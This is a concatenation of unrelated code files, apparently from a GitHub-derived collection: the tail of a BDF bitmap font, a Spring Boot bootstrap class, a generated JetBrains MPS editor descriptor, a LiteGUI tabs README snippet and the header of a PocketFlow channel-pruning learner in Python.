SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
E0
20
20
20
20
20
20
20
E0
ENDCHAR
STARTCHAR 0x005E
ENCODING 94
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
20
50
88
ENDCHAR
STARTCHAR 0x005F
ENCODING 95
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 -1
BITMAP
F8
ENDCHAR
STARTCHAR 0x0060
ENCODING 96
SWIDTH 480 0
DWIDTH 5 0
BBX 2 4 1 4
BITMAP
80
80
40
40
ENDCHAR
STARTCHAR 0x0061
ENCODING 97
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
10
70
90
70
ENDCHAR
STARTCHAR 0x0062
ENCODING 98
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
E0
90
90
90
E0
ENDCHAR
STARTCHAR 0x0063
ENCODING 99
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
80
80
70
ENDCHAR
STARTCHAR 0x0064
ENCODING 100
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
10
10
70
90
90
90
70
ENDCHAR
STARTCHAR 0x0065
ENCODING 101
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x0066
ENCODING 102
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
30
40
40
F0
40
40
40
ENDCHAR
STARTCHAR 0x0067
ENCODING 103
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x0068
ENCODING 104
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x0069
ENCODING 105
SWIDTH 384 0
DWIDTH 4 0
BBX 1 8 1 0
BITMAP
80
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x006A
ENCODING 106
SWIDTH 480 0
DWIDTH 5 0
BBX 3 10 0 -2
BITMAP
20
00
00
20
20
20
20
20
20
C0
ENDCHAR
STARTCHAR 0x006B
ENCODING 107
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
90
A0
C0
A0
90
ENDCHAR
STARTCHAR 0x006C
ENCODING 108
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x006D
ENCODING 109
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
F0
A8
A8
A8
A8
ENDCHAR
STARTCHAR 0x006E
ENCODING 110
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x006F
ENCODING 111
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
90
90
60
ENDCHAR
STARTCHAR 0x0070
ENCODING 112
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
E0
90
90
90
E0
80
80
ENDCHAR
STARTCHAR 0x0071
ENCODING 113
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
90
90
90
70
10
10
ENDCHAR
STARTCHAR 0x0072
ENCODING 114
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
B0
C0
80
80
80
ENDCHAR
STARTCHAR 0x0073
ENCODING 115
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
70
80
60
10
E0
ENDCHAR
STARTCHAR 0x0074
ENCODING 116
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
40
F0
40
40
40
30
ENDCHAR
STARTCHAR 0x0075
ENCODING 117
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
90
90
90
90
70
ENDCHAR
STARTCHAR 0x0076
ENCODING 118
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
88
88
50
50
20
ENDCHAR
STARTCHAR 0x0077
ENCODING 119
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
A8
A8
A8
50
50
ENDCHAR
STARTCHAR 0x0078
ENCODING 120
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
90
90
60
90
90
ENDCHAR
STARTCHAR 0x0079
ENCODING 121
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
90
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x007A
ENCODING 122
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
F0
20
40
80
F0
ENDCHAR
STARTCHAR 0x007B
ENCODING 123
SWIDTH 768 0
DWIDTH 8 0
BBX 5 9 1 -1
BITMAP
18
20
20
20
C0
20
20
20
18
ENDCHAR
STARTCHAR 0x007C
ENCODING 124
SWIDTH 576 0
DWIDTH 6 0
BBX 1 9 2 -1
BITMAP
80
80
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x007D
ENCODING 125
SWIDTH 768 0
DWIDTH 8 0
BBX 5 9 1 -1
BITMAP
C0
20
20
20
18
20
20
20
C0
ENDCHAR
STARTCHAR 0x007E
ENCODING 126
SWIDTH 576 0
DWIDTH 6 0
BBX 5 2 0 5
BITMAP
68
B0
ENDCHAR
STARTCHAR 0x007F
ENCODING 127
SWIDTH 0 0
DWIDTH 0 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x00A0
ENCODING 160
SWIDTH 0 0
DWIDTH 0 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x00A1
ENCODING 161
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00A2
ENCODING 162
SWIDTH 480 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
20
20
70
A0
A0
A0
70
20
ENDCHAR
STARTCHAR 0x00A3
ENCODING 163
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
30
48
40
F0
40
60
98
ENDCHAR
STARTCHAR 0x00A4
ENCODING 164
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
88
70
50
70
88
ENDCHAR
STARTCHAR 0x00A5
ENCODING 165
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
50
F8
20
F8
20
ENDCHAR
STARTCHAR 0x00A6
ENCODING 166
SWIDTH 576 0
DWIDTH 6 0
BBX 1 9 2 -1
BITMAP
80
80
80
80
00
80
80
80
80
ENDCHAR
STARTCHAR 0x00A7
ENCODING 167
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
60
90
80
60
90
60
10
90
60
ENDCHAR
STARTCHAR 0x00A8
ENCODING 168
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 6
BITMAP
D8
ENDCHAR
STARTCHAR 0x00A9
ENCODING 169
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
38
44
BA
A2
BA
44
38
ENDCHAR
STARTCHAR 0x00AA
ENCODING 170
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
60
10
70
90
70
00
F0
ENDCHAR
STARTCHAR 0x00AB
ENCODING 171
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
14
28
50
A0
50
28
14
ENDCHAR
STARTCHAR 0x00AC
ENCODING 172
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 1
BITMAP
F8
08
08
ENDCHAR
STARTCHAR 0x00AD
ENCODING 173
SWIDTH 480 0
DWIDTH 5 0
BBX 4 1 0 3
BITMAP
F0
ENDCHAR
STARTCHAR 0x00AE
ENCODING 174
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
38
44
BA
B2
AA
44
38
ENDCHAR
STARTCHAR 0x00AF
ENCODING 175
SWIDTH 480 0
DWIDTH 5 0
BBX 4 1 0 6
BITMAP
F0
ENDCHAR
STARTCHAR 0x00B0
ENCODING 176
SWIDTH 480 0
DWIDTH 5 0
BBX 4 4 0 4
BITMAP
60
90
90
60
ENDCHAR
STARTCHAR 0x00B1
ENCODING 177
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
F8
20
20
00
F8
ENDCHAR
STARTCHAR 0x00B2
ENCODING 178
SWIDTH 384 0
DWIDTH 4 0
BBX 3 5 0 3
BITMAP
40
A0
20
40
E0
ENDCHAR
STARTCHAR 0x00B3
ENCODING 179
SWIDTH 384 0
DWIDTH 4 0
BBX 3 5 0 3
BITMAP
E0
20
40
20
C0
ENDCHAR
STARTCHAR 0x00B4
ENCODING 180
SWIDTH 480 0
DWIDTH 5 0
BBX 2 2 1 7
BITMAP
40
80
ENDCHAR
STARTCHAR 0x00B5
ENCODING 181
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
90
90
90
B0
D0
80
80
ENDCHAR
STARTCHAR 0x00B6
ENCODING 182
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
78
E8
E8
68
28
28
28
ENDCHAR
STARTCHAR 0x00B7
ENCODING 183
SWIDTH 576 0
DWIDTH 6 0
BBX 1 1 2 3
BITMAP
80
ENDCHAR
STARTCHAR 0x00B8
ENCODING 184
SWIDTH 576 0
DWIDTH 6 0
BBX 3 3 1 -2
BITMAP
20
40
80
ENDCHAR
STARTCHAR 0x00B9
ENCODING 185
SWIDTH 384 0
DWIDTH 4 0
BBX 2 5 0 3
BITMAP
40
C0
40
40
40
ENDCHAR
STARTCHAR 0x00BA
ENCODING 186
SWIDTH 480 0
DWIDTH 5 0
BBX 4 6 0 2
BITMAP
60
90
90
60
00
F0
ENDCHAR
STARTCHAR 0x00BB
ENCODING 187
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
A0
50
28
14
28
50
A0
ENDCHAR
STARTCHAR 0x00BC
ENCODING 188
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
40
C0
40
40
30
50
78
10
ENDCHAR
STARTCHAR 0x00BD
ENCODING 189
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
40
C0
40
40
30
08
10
38
ENDCHAR
STARTCHAR 0x00BE
ENCODING 190
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
E0
40
20
C0
30
50
78
10
ENDCHAR
STARTCHAR 0x00BF
ENCODING 191
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
00
20
40
88
88
70
ENDCHAR
STARTCHAR 0x00C0
ENCODING 192
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C1
ENCODING 193
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C2
ENCODING 194
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C3
ENCODING 195
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C4
ENCODING 196
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C5
ENCODING 197
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
48
30
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C6
ENCODING 198
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
7C
50
50
FC
90
90
9C
ENDCHAR
STARTCHAR 0x00C7
ENCODING 199
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -2
BITMAP
70
88
80
80
80
88
70
20
40
ENDCHAR
STARTCHAR 0x00C8
ENCODING 200
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00C9
ENCODING 201
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CA
ENCODING 202
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CB
ENCODING 203
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CC
ENCODING 204
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
80
40
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00CD
ENCODING 205
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
40
80
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00CE
ENCODING 206
SWIDTH 384 0
DWIDTH 4 0
BBX 4 9 0 0
BITMAP
60
90
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00CF
ENCODING 207
SWIDTH 384 0
DWIDTH 4 0
BBX 3 9 0 0
BITMAP
A0
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00D0
ENCODING 208
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
78
44
44
F4
44
44
78
ENDCHAR
STARTCHAR 0x00D1
ENCODING 209
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
88
C8
A8
98
88
88
ENDCHAR
STARTCHAR 0x00D2
ENCODING 210
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D3
ENCODING 211
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D4
ENCODING 212
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D5
ENCODING 213
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D6
ENCODING 214
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D7
ENCODING 215
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
88
50
20
50
88
ENDCHAR
STARTCHAR 0x00D8
ENCODING 216
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -1
BITMAP
08
70
98
A8
A8
A8
C8
70
80
ENDCHAR
STARTCHAR 0x00D9
ENCODING 217
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DA
ENCODING 218
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DB
ENCODING 219
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DC
ENCODING 220
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DD
ENCODING 221
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
88
88
50
20
20
20
ENDCHAR
STARTCHAR 0x00DE
ENCODING 222
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
80
F0
88
88
88
F0
80
80
ENDCHAR
STARTCHAR 0x00DF
ENCODING 223
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -2
BITMAP
70
88
88
F0
88
88
F0
80
80
ENDCHAR
STARTCHAR 0x00E0
ENCODING 224
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E1
ENCODING 225
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E2
ENCODING 226
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E3
ENCODING 227
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E4
ENCODING 228
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E5
ENCODING 229
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
60
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E6
ENCODING 230
SWIDTH 768 0
DWIDTH 8 0
BBX 7 5 0 0
BITMAP
7C
12
7E
90
7E
ENDCHAR
STARTCHAR 0x00E7
ENCODING 231
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
90
80
80
70
20
40
ENDCHAR
STARTCHAR 0x00E8
ENCODING 232
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00E9
ENCODING 233
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EA
ENCODING 234
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EB
ENCODING 235
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EC
ENCODING 236
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
80
40
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00ED
ENCODING 237
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
40
80
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00EE
ENCODING 238
SWIDTH 384 0
DWIDTH 4 0
BBX 4 9 0 0
BITMAP
60
90
00
00
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00EF
ENCODING 239
SWIDTH 384 0
DWIDTH 4 0
BBX 3 9 0 0
BITMAP
A0
A0
00
00
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00F0
ENCODING 240
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
80
70
C0
20
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F1
ENCODING 241
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x00F2
ENCODING 242
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F3
ENCODING 243
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F4
ENCODING 244
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F5
ENCODING 245
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F6
ENCODING 246
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F7
ENCODING 247
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
00
F8
00
20
20
ENDCHAR
STARTCHAR 0x00F8
ENCODING 248
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 -1
BITMAP
08
70
98
A8
C8
70
80
ENDCHAR
STARTCHAR 0x00F9
ENCODING 249
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FA
ENCODING 250
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FB
ENCODING 251
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FC
ENCODING 252
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FD
ENCODING 253
SWIDTH 480 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
10
20
00
00
90
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x00FE
ENCODING 254
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
80
80
E0
90
90
90
E0
80
80
ENDCHAR
STARTCHAR 0x00FF
ENCODING 255
SWIDTH 480 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
50
50
00
00
90
90
90
90
70
10
60
ENDCHAR
ENDFONT
|
{
"pile_set_name": "Github"
}
|
package me.hao0.antares.server;
import me.hao0.antares.server.cluster.server.ServerCluster;
import me.hao0.antares.server.cluster.server.ServerRegister;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ConfigurableApplicationContext;
import org.springframework.context.annotation.ComponentScan;
/**
* Author: haolin
* Email: haolin.h0@gmail.com
*/
@SpringBootApplication
@ComponentScan(basePackages = {
"me.hao0.antares.store",
"me.hao0.antares.server"
})
public class Bootstrap {
public static void main(String[] args) {
ConfigurableApplicationContext context = SpringApplication.run(Bootstrap.class, args);
// start the server register
ServerRegister serverRegister = context.getBean(ServerRegister.class);
serverRegister.start();
// start the server cluster
ServerCluster serverCluster = context.getBean(ServerCluster.class);
serverCluster.start();
}
}
|
{
"pile_set_name": "Github"
}
|
package jetbrains.mps.lang.dataFlow.editor;
/*Generated by MPS */
import jetbrains.mps.nodeEditor.EditorAspectDescriptorBase;
import org.jetbrains.annotations.NotNull;
import java.util.Collection;
import jetbrains.mps.openapi.editor.descriptor.ConceptEditor;
import org.jetbrains.mps.openapi.language.SAbstractConcept;
import java.util.Collections;
import jetbrains.mps.openapi.editor.descriptor.TransformationMenu;
import jetbrains.mps.openapi.editor.descriptor.SubstituteMenu;
import jetbrains.mps.lang.smodel.ConceptSwitchIndex;
import jetbrains.mps.lang.smodel.ConceptSwitchIndexBuilder;
import jetbrains.mps.smodel.adapter.ids.MetaIdFactory;
public class EditorAspectDescriptorImpl extends EditorAspectDescriptorBase {
@NotNull
public Collection<ConceptEditor> getDeclaredEditors(SAbstractConcept concept) {
SAbstractConcept cncpt = ((SAbstractConcept) concept);
switch (conceptIndex.index(cncpt)) {
case 0:
return Collections.<ConceptEditor>singletonList(new BaseEmitJumpStatement_Editor());
case 1:
return Collections.<ConceptEditor>singletonList(new BaseEmitVariableStatement_Editor());
case 2:
return Collections.<ConceptEditor>singletonList(new BaseInstructionOperation_Editor());
case 3:
return Collections.<ConceptEditor>singletonList(new DataFlowBuilderDeclaration_Editor());
case 4:
return Collections.<ConceptEditor>singletonList(new EmitCodeForStatement_Editor());
case 5:
return Collections.<ConceptEditor>singletonList(new EmitLabelStatement_Editor());
case 6:
return Collections.<ConceptEditor>singletonList(new EmitMayBeUnreachable_Editor());
case 7:
return Collections.<ConceptEditor>singletonList(new EmitNopStatement_Editor());
case 8:
return Collections.<ConceptEditor>singletonList(new EmitRetStatement_Editor());
case 9:
return Collections.<ConceptEditor>singletonList(new EmitTryFinallyStatement_Editor());
case 10:
return Collections.<ConceptEditor>singletonList(new EmitWriteStatement_Editor());
case 11:
return Collections.<ConceptEditor>singletonList(new GetCodeForExpression_Editor());
case 12:
return Collections.<ConceptEditor>singletonList(new InsertAfter_Editor());
case 13:
return Collections.<ConceptEditor>singletonList(new InsertBefore_Editor());
case 14:
return Collections.<ConceptEditor>singletonList(new IntraProcedural_BuilderMode_Editor());
case 15:
return Collections.<ConceptEditor>singletonList(new LabelPosition_Editor());
case 16:
return Collections.<ConceptEditor>singletonList(new RelativePosition_Editor());
default:
}
return Collections.<ConceptEditor>emptyList();
}
@NotNull
@Override
public Collection<TransformationMenu> getDeclaredDefaultTransformationMenus(SAbstractConcept concept) {
SAbstractConcept cncpt = concept;
switch (conceptIndex1.index(cncpt)) {
case 0:
return Collections.<TransformationMenu>singletonList(new BaseEmitJumpStatement_TransformationMenu());
case 1:
return Collections.<TransformationMenu>singletonList(new EmitStatement_TransformationMenu());
default:
}
return Collections.<TransformationMenu>emptyList();
}
@NotNull
@Override
public Collection<SubstituteMenu> getDeclaredDefaultSubstituteMenus(SAbstractConcept concept) {
SAbstractConcept cncpt = concept;
switch (conceptIndex2.index(cncpt)) {
case 0:
return Collections.<SubstituteMenu>singletonList(new NodeParameter_SubstituteMenu());
default:
}
return Collections.<SubstituteMenu>emptyList();
}
private static final ConceptSwitchIndex conceptIndex = new ConceptSwitchIndexBuilder().put(MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5bc8a99L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5b40208L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x194dbbd57c9dbb65L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e58cd635L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e643e7efL), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x1190a87adadL), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118eb0b6674L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5a554f4L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e6ca4377L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x119043714f5L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5afd8deL), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x2912c3e08c4f3324L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x75c73261efe5e662L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x75c73261efe5e664L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x6e8db6877fc9fed5L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x1190a8b1526L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5b86667L)).seal();
private static final ConceptSwitchIndex conceptIndex1 = new ConceptSwitchIndexBuilder().put(MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5bc8a99L), MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e5a42658L)).seal();
private static final ConceptSwitchIndex conceptIndex2 = new ConceptSwitchIndexBuilder().put(MetaIdFactory.conceptId(0x7fa12e9cb9494976L, 0xb4fa19accbc320b4L, 0x118e597667fL)).seal();
}
|
{
"pile_set_name": "Github"
}
|
# LiteGUI.Tabs
```js
var tabs = new LiteGUI.Tabs({});
var tab1 = tabs.addTab("tab1", { title: "MyTab1" });
tab1.add( inspector );
```
|
{
"pile_set_name": "Github"
}
|
# Tencent is pleased to support the open source community by making PocketFlow available.
#
# Copyright (C) 2018 THL A29 Limited, a Tencent company. All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Discrimination-aware channel pruning learner."""
import os
import re
import math
from timeit import default_timer as timer
import numpy as np
import tensorflow as tf
from learners.abstract_learner import AbstractLearner
from learners.distillation_helper import DistillationHelper
from utils.multi_gpu_wrapper import MultiGpuWrapper as mgw
FLAGS = tf.app.flags.FLAGS
tf.app.flags.DEFINE_string('dcp_save_path', './models_dcp/model.ckpt', 'DCP: model\'s save path')
